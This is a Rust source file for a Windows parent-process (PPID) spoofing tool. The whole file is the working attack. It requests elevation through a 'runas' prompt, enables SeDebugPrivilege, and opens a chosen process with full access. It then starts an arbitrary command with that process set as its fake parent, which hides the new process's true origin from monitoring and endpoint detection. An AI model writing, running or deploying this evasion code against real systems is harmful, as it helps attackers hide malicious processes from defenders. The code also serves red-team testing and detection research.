/*
    PPID SPoofing
    Author: @5mukx
*/

use std::ffi::c_void;

use windows::{
    Win32::{
        Foundation::{CloseHandle, ERROR_INSUFFICIENT_BUFFER, HANDLE, LUID},
        Security::{
            AdjustTokenPrivileges, AllocateAndInitializeSid, CheckTokenMembership, FreeSid,
            LookupPrivilegeValueW, PSID, SE_PRIVILEGE_ENABLED, SID_IDENTIFIER_AUTHORITY,
            TOKEN_ADJUST_PRIVILEGES, TOKEN_PRIVILEGES, TOKEN_PRIVILEGES_ATTRIBUTES, TOKEN_QUERY,
        },
        System::{
            Memory::{GetProcessHeap, HEAP_FLAGS, HEAP_ZERO_MEMORY, HeapAlloc, HeapFree},
            SystemServices::{DOMAIN_ALIAS_RID_ADMINS, SECURITY_BUILTIN_DOMAIN_RID},
            Threading::{
                CREATE_UNICODE_ENVIRONMENT, CreateProcessW, DeleteProcThreadAttributeList,
                EXTENDED_STARTUPINFO_PRESENT, GetCurrentProcess, InitializeProcThreadAttributeList,
                OpenProcess, OpenProcessToken, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                PROCESS_ALL_ACCESS, PROCESS_INFORMATION, STARTF_USESHOWWINDOW, STARTUPINFOEXW,
                UpdateProcThreadAttribute,
            },
        },
        UI::{
            Shell::ShellExecuteW,
            WindowsAndMessaging::{SW_SHOW, SW_SHOWDEFAULT},
        },
    },
    core::{BOOL, Error, PCWSTR, PWSTR, w},
};

const SECURITY_NT_AUTHORITY: [u8; 6] = [0, 0, 0, 0, 0, 5];

unsafe fn is_elevated() -> bool {
    unsafe {
        let mut admins_group = std::mem::zeroed::<PSID>();
        let mut authority = std::mem::zeroed::<SID_IDENTIFIER_AUTHORITY>();
        authority.Value = SECURITY_NT_AUTHORITY;

        if AllocateAndInitializeSid(
            &mut authority,
            2,
            SECURITY_BUILTIN_DOMAIN_RID as u32,
            DOMAIN_ALIAS_RID_ADMINS as u32,
            0,
            0,
            0,
            0,
            0,
            0,
            &mut admins_group,
        )
        .is_ok()
        {
            let mut is_member: BOOL = BOOL(0);
            if CheckTokenMembership(None, admins_group, &mut is_member).is_ok() {
                FreeSid(admins_group);
                is_member.as_bool()
            } else {
                FreeSid(admins_group);
                false
            }
        } else {
            false
        }
    }
}

unsafe fn elevate_to_admin() {
    unsafe {
        if !is_elevated() {
            let mut us_filename: Vec<_> = std::env::args()
                .nth(0)
                .unwrap()
                .encode_utf16()
                .collect::<Vec<_>>();
            us_filename.push(0x0);

            let mut us_cmdline: Vec<_> = std::env::args()
                .skip(1)
                .map(|x| format!("\"{}\"", x))
                .collect::<Vec<_>>()
                .join(" ")
                .encode_utf16()
                .collect();
            us_cmdline.push(0x0);

            ShellExecuteW(
                None,
                w!("runas"),
                PCWSTR::from_raw(us_filename.as_ptr()),
                PCWSTR::from_raw(us_cmdline.as_ptr()),
                None,
                SW_SHOWDEFAULT,
            );
            std::process::exit(0);
        }
    }
}

unsafe fn set_privilege(token: HANDLE, privilege_name: PCWSTR, enabled: bool) -> Result<(), Error> {
    unsafe {
        let mut luid = std::mem::zeroed::<LUID>();
        LookupPrivilegeValueW(None, privilege_name, &mut luid)?;

        let mut tp = std::mem::zeroed::<TOKEN_PRIVILEGES>();
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = if enabled {
            SE_PRIVILEGE_ENABLED
        } else {
            TOKEN_PRIVILEGES_ATTRIBUTES(0)
        };

        AdjustTokenPrivileges(
            token,
            false,
            Some(&tp),
            std::mem::size_of::<TOKEN_PRIVILEGES>() as _,
            None,
            None,
        )?;

        Ok(())
    }
}

unsafe fn create_process_with_handle(handle: HANDLE, cmdline: &str) -> Result<u32, Error> {
    unsafe {
        let mut si: STARTUPINFOEXW = std::mem::zeroed();
        let mut pi: PROCESS_INFORMATION = std::mem::zeroed();
        let mut size: usize = 0x30;

        loop {
            if size > 1024 {
                return Err(Error::from_win32());
            }

            si.StartupInfo.cb = std::mem::size_of::<STARTUPINFOEXW>() as u32;
            let attribute_list = HeapAlloc(GetProcessHeap()?, HEAP_ZERO_MEMORY, size);
            if attribute_list.is_null() {
                return Err(Error::from_win32());
            }
            si.lpAttributeList = windows::Win32::System::Threading::LPPROC_THREAD_ATTRIBUTE_LIST(
                attribute_list as *mut _,
            );

            let ret = match InitializeProcThreadAttributeList(
                Some(si.lpAttributeList),
                1,
                Some(0),
                &mut size,
            ) {
                Ok(()) => {
                    UpdateProcThreadAttribute(
                        si.lpAttributeList,
                        0,
                        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS as usize,
                        Some(&handle as *const _ as *mut _),
                        std::mem::size_of::<HANDLE>(),
                        None,
                        None,
                    )?;

                    si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
                    si.StartupInfo.wShowWindow = SW_SHOW.0 as _;

                    let mut us_cmdline: Vec<u16> =
                        cmdline.encode_utf16().chain(std::iter::once(0)).collect();

                    CreateProcessW(
                        None,
                        Some(PWSTR(us_cmdline.as_mut_ptr())),
                        None,
                        None,
                        false,
                        CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT,
                        None,
                        None,
                        &mut si.StartupInfo,
                        &mut pi,
                    )?;

                    CloseHandle(pi.hThread)?;
                    CloseHandle(pi.hProcess)?;

                    Ok(pi.dwProcessId)
                }
                Err(e) if e == Error::from(ERROR_INSUFFICIENT_BUFFER) => Ok(0),
                Err(e) => Err(e),
            };

            if !si.lpAttributeList.0.is_null() {
                DeleteProcThreadAttributeList(si.lpAttributeList);
            }

            HeapFree(
                GetProcessHeap()?,
                HEAP_FLAGS(0),
                Some(si.lpAttributeList.0 as *const c_void),
            )?;

            match ret {
                Ok(0) => continue,
                Ok(pid) => return Ok(pid),
                Err(e) => return Err(e),
            }
        }
    }
}

fn main() -> windows::core::Result<()> {
    unsafe {
        elevate_to_admin();

        let args: Vec<String> = std::env::args().collect();
        let procname = std::path::Path::new(&args[0])
            .file_name()
            .unwrap()
            .to_str()
            .unwrap();

        if args.len() < 3 {
            println!("Usage: {} <ppid> <commandline>", procname);
            return Ok(());
        }

        let ppid: u32 = args[1].parse().map_err(|_| {
            Error::new(
                windows::Win32::Foundation::E_INVALIDARG,
                "Invalid PID format. Eg: 19923",
            )
        })?;
        let cmdline = &args[2];

        let mut proc_handle = HANDLE(std::ptr::null_mut());
        OpenProcessToken(
            GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &mut proc_handle,
        )?;

        set_privilege(
            proc_handle,
            PCWSTR::from_raw(
                "SeDebugPrivilege\0"
                    .encode_utf16()
                    .collect::<Vec<u16>>()
                    .as_ptr(),
            ),
            true,
        )?;
        CloseHandle(proc_handle)?;

        println!("[+] get parent process handle -> {}", ppid);

        let phandle = OpenProcess(PROCESS_ALL_ACCESS, false, ppid)?;

        println!("[+] handle value -> {:#x}", phandle.0 as usize);

        println!("[+] create new process using parent process handle");
        let pid = create_process_with_handle(phandle, cmdline)?;
        CloseHandle(phandle)?;

        println!("[+] new process -> {}({})", cmdline, pid);
    }

    Ok(())
}
